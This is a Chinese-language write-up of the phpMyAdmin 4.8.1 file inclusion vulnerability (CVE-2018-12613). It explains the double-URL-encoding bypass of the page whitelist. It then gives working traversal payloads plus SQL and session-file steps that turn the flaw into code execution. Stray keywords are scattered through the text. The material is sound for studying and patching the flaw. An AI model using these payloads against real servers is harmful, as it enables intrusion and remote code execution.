phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

漏洞详情

  • 范围
    phpMyAdmin 4.8.0和4.8.1
  • 原理
    首先在index.php 50-63行代码
$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

知足5个条件后就会include$_REQUEST['target']的内容php

  • $_REQUEST['target']不为空
  • $_REQUEST['target']是字符串
  • $_REQUEST['target']不以index开头
  • $_REQUEST['target']不在$target_blacklist中
    'import.php', 'export.php'
  • Core::checkPageValidity($_REQUEST['target'])为真
    代码在libraries\classes\Core.php 443-476行
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist一开始未传参过来,因此会被赋值为self::$goto_whitelistsql

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

若是$page在白名单中就会直接return true,但这里考虑到了可能带参数的状况,因此有了下面的判断数据库

$_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
查找 string 在一个 string 中首次出现的位置。基于字符数执行一个多字节安全的 strpos() 操做。 第一个字符的位置是 0,第二个字符的位置是 1,以此类推。安全

$_page是取出$page问号前的东西,是考虑到target有参数的状况,只要$_page在白名单中就直接return true
但还考虑了url编码的状况,因此若是这步判断未成功,下一步又进行url解码服务器

$_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

因此传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入
?target=db_datadict.php%253f
因为服务器会自动解码一次,因此在checkPageValidity()中,$page的值一开始会是db_datadict.php%3f,又一次url解码后变成了db_datadict.php?,此次便符合了?前内容在白名单的要求,函数返回true
但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f,并且会被include,经过目录穿越,就可形成任意文件包含session

漏洞复现

phpMyAdmin-4.8.1-all-languages.zip
官网可下4.8.1版本app

任意文件包含

经过目录穿越包含任意文件
?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini
函数

任意代码执行

  • 包含数据库文件
    先执行SQL语句查询一下数据库路径
    show global variables like "%datadir%";

    向数据库写入php代码
CREATE DATABASE rce;
use rce;
CREATE TABLE rce(code varchar(100));
INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");


而后包含该数据库文件
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
编码

  • 包函session文件
    session路径的视环境而定


?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24url

参考:
phpmyadmin 4.8.1任意文件包含
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)